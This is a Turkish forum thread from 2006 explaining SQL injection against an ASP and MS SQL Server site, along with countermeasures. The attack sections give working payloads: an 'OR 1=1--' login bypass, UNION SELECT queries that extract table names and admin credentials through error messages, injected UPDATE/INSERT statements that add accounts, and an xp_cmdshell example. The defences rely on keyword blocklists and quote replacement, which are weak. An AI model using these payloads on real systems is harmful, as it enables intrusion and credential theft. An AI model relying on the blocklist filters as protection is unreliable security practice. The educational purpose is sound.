SQL Enjeksiyon Saldirilari(SQL Injection)

PC güvenliği konusundaki bilgi paylaşım alanıdır.
Cevapla
Kullanıcı avatarı
velociraptor
Yottabyte3
Yottabyte3
Mesajlar: 28305
Kayıt: 14 Mar 2006, 02:33
cinsiyet: Erkek

SQL Enjeksiyon Saldirilari(SQL Injection)

Mesaj gönderen velociraptor » 19 Mar 2006, 01:21

Dünyanin her tarafinda, kullanicilarina; kredi karti numaralari, kullanici bilgileri gibi gizli kalmasi gereken bilgilerin, ürünlere ve siparislere ait verilerin saklandigi uc-arka veri depolariyla hizmet veren web siteleri bulunmaktadir. Ve genel olarak, web sitelerindeki form araciligi ile alinan girdi ile veritabanindaki bilgiler filtrelendikten sonra sonucu kullaniciya gönderen bu tür sistemlerde Yapisal Sorgulama Dili (Structured Query Language - SQL) kullanilmaktadir. Uygulama icerisinde kullanilacak parametre degerleri alinirken kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle güvenlik problemleri ortaya cikmaktadir. Bu güvenlik problemleri kullanilarak bir uygulamanin arkasinda, bu uygulamaya destek veren veri tabani üzerindeki bütün bilgilere ulasilabilir veya bilgiler üzerinde degisiklik yapilabilir. Veya veri tabani sisteminin komutlari kullanilarak kullanilan sunucular üzerinde uygulama harici istenen islemler de yapilabilir. Bu problemlerden korunmak icin de uygulama girdilerini bu tür karakterlere karsi kontrol eden fonksiyonlarin kullanilmali ve genis capli uygulamalarin bu güvenlik aciklarini tasiyip tasimadigini anlamak icin güvenlik denetimine tabi tutulmalidir.. ilgilendiren Sektör ve sirketler: * özel olarak gelistirilmis uygulamalar kullanan tüm kurum ve kuruluslar * Internet / Intranet üzerinde uygulama gelistiren kuruluslar
1. Bir Uygulama Güvenligi Problemi - "Yapisal Sorgulama Dili Kullanimi" Yapisal Sorgulama Dili SQLin uygulamalarda kullanimina örnek vermek gerekirse; SELECT Name, Address FROM Users WHERE UserID = 2081 seklindeki SQL Deyimi "Users" adli tablodan "2081" ürün ID si ile veritabanina kayitli olan kisiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayiflik, kullanilan formun SQL Deyimini yeniden yapilandirabilecek bazi özel karakterlere izin vermesiyle ortaya cikmaktadir. cözümü ise girdilerden bu özel karakterlerin filtrelenmesini saglayan fonksiyonlardir. Hizla gelisen internet teknolojileri karsisinda yeni pazarda gec olmadan yerini almak isteyen müsterilerine daha kisa sürede daha kullanisli ve ucuz cözümler sunmak zorunda olan uygulama gelistiriciler bu sürecte güvenlik gibi önemli bir faktörü ikinci plana atmaktadirlar. Giderek yayginlasan ve medyanin haber potansiyelini olusturan; calinan kredi karti numaralari, yer alti sitelerde dagitilan müsteri bilgileri, sirket projeleri - yazismalari yaklasan tehlikenin habercisi olmakla beraber halen bu tür kayiplarin yaratabilecegi maddi sonuclari kavrayamayan ve hala "az maliyetle kurtarilan güvenlik projeleri" yle övünen yöneticilere uyari niteligi tasimaktadir. öyleki -herzaman bir adim önde olmayi amaclayan- saldirganlar güvenligin en üst seviyede olmasi beklenen devlet siteleri de dahil olmak üzere pek cok sisteme yönelik saldirilarina da ara vermeksizin devam etmektedirler. Maddi ve manevi degere sahip sirketinizi bir anlamda is ortaklarini olan uygulama gelistiricilerin hazirladiklari uygulama ürünlerine emanet edildigini düsünürsek, "uygulamalariniza ne kadar güvenirsinizü" gibi bir soruya verilecek cevap büyük önem tasimaktadir. Böyle bir ortamda uygun güvenlik cözümü icin ayrilmis bütce bir lüks degil her an yapilabilecek bir saldirida sirketin ugrayacagi zarari ortadan kaldirmak icin alinmasi gereken önlem niteligi tasimaktadir.
2. örnek Saldirilar - "Yapilacak Hamleleri önceden Tahmin Edebilmek..." Güvenlikte sikca kullanilan bir deyim; "Saldirganlardan korunabilmek icin onlar gibi düsünmelisiniz!..". Saldirganin sisteminize girmek icin kullanabilecegi yöntemleri bilmek bu saldirilardan korunabilmek icin alinan önlemleri daha saglikli kilacaktir. örneklerde kullanacagimiz hedef ; Microsoft® Internet Information Server™ dan Microsoft® SQL Server™a varsayilan sistem hesabindan (sa) baglanan ASP tabanli bir kullanici hesabi yöneticisi olacak. Form.asp : Username ve Password girdisini alan form.Solda... Login.asp : Veritabani ile baglantiya gecen ve girdinin dogrulugunu kontrol eden ASP kodu.
2.1. Kötü Amacli () imlecleri Yardimiyla izinsiz Giris Saglama: Kullanici "Username" "Password" verisini Login.asp ye yolladiktan sonra .asp kodunun yapacagi is verilen yoldaki veritabani ile baglanti kurup ilgili tabloda Username ve Password sütünlarinda gönderilen verinin dogrulugunu kontrol etmek olacaktir. Bu islem sonucunda eger sonuc olumluysa kullaniciya; "Giris Yapildi" olumsuzsa; "Gecersiz Kullaniciadi & sifre" mesaji verilecektir. örnekleyecek olursak; Username : ilkay Password : 2081 seklindeki kullanici girdisi asagidaki SQL Deyimini olusturacaktir; SELECT count(*) FROM Users WHERE Username = ilkay AND Password = 2081 ilk bakista sorun olmayan bir SQL Deyimi... Fakat saldirganin; Username : ilkay Password : OR 1=1-- seklindeki girdilerle olusturacagi SQL Deyimi ise; SELECT count(*) FROM Users WHERE Username = ilkay AND Password = OR 1=1 -- Olacaktir ki, bu durumda girisin saglanmasi icin sart "ilkay" kullanici adina ait sifrenin hicbirsey* olmasi veya ikinci bir opsiyon olarak 1=1 esitliginin saglanmasidir. * Hicbisey = Bosluk Sonuc : 1=1 esitligi saglandigina göre saldiri basariyla sonuclanacak ve "Giris Yapildi" mesaji verilecektir. Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanilmis tirnak isaretlerini göz ardi edecektir. ilk bakista basit gibi görünen ve sadece SQL Servera ait olan bu özellik ilerde örneklerden de anlasilacagi üzere saldirgana büyük kolaylik saglayacaktir..



Kullanıcı avatarı
velociraptor
Yottabyte3
Yottabyte3
Mesajlar: 28305
Kayıt: 14 Mar 2006, 02:33
cinsiyet: Erkek

Mesaj gönderen velociraptor » 19 Mar 2006, 01:40

bulunamadigi mesajini verecektir. Fakat bununla beraber arka planda diger komutu calistirdigi icin SQL Server kapanacaktir. 2.4. ODBC Hatalarindan Faydalanarak Yapilan Saldirilar: SQL Serverin verdigi hatalardan faydalanarak veritabanindaki neredeyse tüm bilgilere ulasmak mümkündür. Hedef; http://Victim/Default.aspüid=10 seklinde ürün ID leri ile calisan ASP tabanli bir websitesi. Saldiri SQL Serverin integer ve string cinsinden verileri birlikte gönderememesinden faydalinarak yapilabilir; Gönderilen 10 sayisina veritabanindan herhangi bir string eklenir. http://Victim/Default.aspüid=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diger tüm tablolar hakkinda bilgi icerir. Deyimde kullanilan "TABLE_NAME" de yine tüm tablo isimlerini icerir. Olusacak SQL Deyimi; SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES String -> Integer dönüsümünü yapamayan SQL Server asagidaki hatayi verecektir. Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Table1 to a column of data type int. /Default.asp, line 5 Hata, saldirgana "Table1" olarak buldugu cevabi integer a ceviremedigini (dolayisiyla veritabanindaki ilk tablo adinin "Table1" oldugunu) belirtmektedir. Saldirgan diger tablolarin adini asagidaki sekilde ögrenebilir... http://Victim/Default.aspüid=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (Table1)-- Veya dogrudan LIKE komutunu kullanarak aradigi seye daha kolay yoldan ulasabilir; http://Victim/Default.aspüid=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25Login%25-- SQL Serverin verecegi hata; Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Admin_Login to a column of data type int. /Default.asp, line 5 Admin_Login adinda bir tablo oldugunu ögrenen saldirgan muhtemelen tablodaki ilk kullaniciadi ve sifreye ulasmak isteyecektir. izleyebilecegi yol ise; http://Victim/Default.aspüid=10 UNION SELECT TOP 1 Username FROM Admin_Login-- Hata; Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ilkay to a column of data type int. /Default.asp, line 5 Bu sekilde "admin" kullaniciadinin varligini dogrulayan saldirganin sifreyi ele gecirmek icin kullanacagi girdi; http://Victim/Default.aspüid=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=ilkay-- Hata; Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 2081 to a column of data type int. /Default.asp, line 5 Sonuc : Username : ilkay Password : 2081 2.5. Veritabanina Ekleme Yapma veya Veri Düzenleme: Kullaniciadi ve sifre bilgisine ulasan muhtemel saldirgan benzer yöntemleri ve UPDATE,INSERT komutlarini kullanarak sifreyi degistirebilir veya daha temizi baska bir kullanici hesabi acabilir... http://Victim/Default.aspüid=10; UPDATE Admin_Login SET Password = NewPwd WHERE Username=ilkay-- Yeni bir kullanici hesabi icin; http://Victim/Default.aspüid=10; INSERT INTO Admin_Login (UserID, Username, Password, Details) VALUES (666,Desperate_Cry,2081,N/A)--

Kullanıcı avatarı
velociraptor
Yottabyte3
Yottabyte3
Mesajlar: 28305
Kayıt: 14 Mar 2006, 02:33
cinsiyet: Erkek

Mesaj gönderen velociraptor » 19 Mar 2006, 01:42

3. Nasil Korunmaliü - "Aksi Dogrulanincaya Kadar Tüm Kullanici Girdileri Kötüdür..." Gelebilecek SQL Enjeksiyon saldirilarindan korunabilmek icin alinan önlemlerde temel alinmasi geren nokta... "Aksi dogrulanincaya kadar tüm kullanici girdileri kötüdür!".
3.1. Kullanici Haklarinin Sinirlandirilmasi Yaygin olarak yapilan hata; Web Server dan SQL Server a yapilan baglantilarda varsayilan sistem hesabi kullanilmasi... Bu sekilde yönetici haklarina sahip olan saldirgan örneklerde de görülebilecegi üzere istegi komutu calistirip istedigi ekleme,silme,düzeltme eylemini gerceklestirebilecektir. Bunu yerine yapilmasi gereken yeni bir kullanici hesabi olusturup kullanicinin calistirabilecegi komutlari sinirlandirmak olacaktir. Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasindan siparis verilmesine izin verecekseniz, "web_user" gibi bir kullanici adi olusturup ürünleri incelemek icin; ürünler sütununda sadece "SELECT" kullanimina ve siparisleri icin; siparisler sütununda sadece "INSERT" kullanimina izin vermeniz uygun olacaktir. 3.2. Girdilerde Tirnak imleclerinin () Kötü Amacli Kullaniminin Engellenmesi Yaygin SQL Enjeksiyon saldirilari SQL deyimlerinin girdilerdeki gereksiz () tirnak isaretleri yardimiyla yeniden olusturulmasi sayesinde yapilir. Kücük bir filtreleme fonksiyonu veya tek tirnagi cift tirnaga ceviren bir fonksiyon muhtemel bir saldiriyi engellmek icin yeterli olabilir. ASP Kullanarak girdileri kontrol ederek degistiren bir fonksiyon kolaylikla yazilabilir; <% Function ReplaceQuotes(strWords) ReplaceQuotes = Replace(strWords,&#148;&#148;,&#148;&#148;&#148;) End Function %> Bu fonksiyonu bastaki örnekte kullanirsak; SELECT count(*) FROM Users WHERE Username=ilkay AND Password= OR 1=1 -- seklinde olan deyim... SELECT count(*) FROM Users WHERE Username=ilkay AND Password=" OR 1=1 -- e dönüsecektir.
3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi SQL Enjeksiyon saldirilari genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanilmasiyla yapildigi icin gönderilecek girdinin önce bir filtreleme fonksiyonundan gecirilmesi muhtemel zayifligi engelleyebilir.örnegin kullanicidan E - Mail adresini girmesi isteniyorsa harfler ve sayilarin yaninda sadece " @,-,_,." karakterlerinin kullanilmasina izin verilmelidir. Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanli DLL ler, kullanici tarafli fonksiyonlar...vb, izole edilmis bir sunucuya tasinmalidir. Bazi zararli kelime-harfleri filteleyen ASP fonksiyonu asagida örneklenmistir; <% Function FilterBadWords(strWords) dim BadWords dim NewWords BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_") NewWords = strWords for i = 0 to uBound(BadWords) NewWords = Replace(NewWords, BadWords(i), "") Next FilterBadWords = NewWords End Function %> Tirnak degistirme fonksiyonu ve filtreleme fonksiyonu beraber kullanilirsa; SELECT Username FROM Users WHERE Usename=; EXEC master..xp_cmdshell dir c; -- AND Password= seklindeki SQL Deyimi... SELECT Username FROM Users WHERE Usename=" EXEC master.. cmdshell "dir c:" AND Password= e dönüsecektir ki bu da herhangi bir kayit bulumadigi hatasini vermekten öteye gitmeyecektir. Bu fonksiyonu kullanicidan gelen bütün girdilere, adres satiri ifadelerine ve cerezlerden gelen tüm veriye uygulamamiz gelebilecek saldirinin önüne gececektir.
3.4. Girdi Uzunlugunun Sinirlandirilmasi Veritabanindaki ayrilan alanin uzunlugu 10 karakterlikse, formunuzda bu alan icin 50 karakter sigan bir text kutusuna sahip olmaniz sakincali olabilir. Ve mümkün oldugu kadar girdi uzunluklarini kisa tutmak muhtemel saldiriyi engellemek icin önlem sayilabilir.
3.5. Girdi Cinsinin Kontrol Edilmesi Formunuzdan girilen verinin istediginiz türden bir veri olup olmadigini kontrol eden bir fonksiyon kötü amacli kullanimlarda saldirganin kullanabilecegi harf/sayi secenegini kisitlayacaktir. Mesela, eger ürün ID si icin formunuzdan girdi aliyorsaniz girdinin sayisal bir ifade olup olmadigini kontrol eden bir fonksiyon fayda saglayacaktir.
3.6. Girdi Cinsinin Kontrol Edilmesi Formunuz araciligi ile topladiginiz verileri yollarken mutlaka "POST" metodunu kullanin ki kullanicilariniz adres cubugunda girdikleri verilerle beraber form degerlerini gördüklerinde akillarina farkli fikirler gelmesin. 4. Son Söz - "Herzaman bir adim önde!" Aldiginiz güvenlik önlemleri veya (en iyi ihtimalle) yazip da kullanmayi bir aliskanlik haline getiremediginiz güvenlik politikalari sizi güvenlik problemlerine karsi koruyabilir miü Eger güvenlik ile ilgili problemleri yönetmeyi sürec temelli bir güvenlik bilinci icerisinde ele almiyorsaniz hicbir güvenlik ürünü, bir güvenlik kaybina ugramanizi engelleyemez. Bilgi sistemleri altyapinizi tasidiklari güvenlik zaaflarina karsi düzenli olarak kontrol ettirmek, risklerinizi takip etmek, dogru teknolojiyi dogru yerde ve dogru sekilde kullanmanizi saglayacak güvenlik politikalarinizi olusturup güvenlik probleminizi sürekli yönetebilecek olgunluga ulasmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kismini olusturan uygulamalarin tasiyabilecegi güvenlik sorunlari uzun süredir ihmal edilmelerinden dolayi, günümüzün en popüler sistem sizma noktalarini teskil etmektedirler. Bu nedenle uygulama güvenligine iliskin gereken önemi vermeniz, güvenlik denetimi yaptirmaniz ve kurumunuzun bilgi güvenligi yönetim sistemini olusturmaya bir yerinden baslamanizi öneriyoruz.
Anonim

Cevapla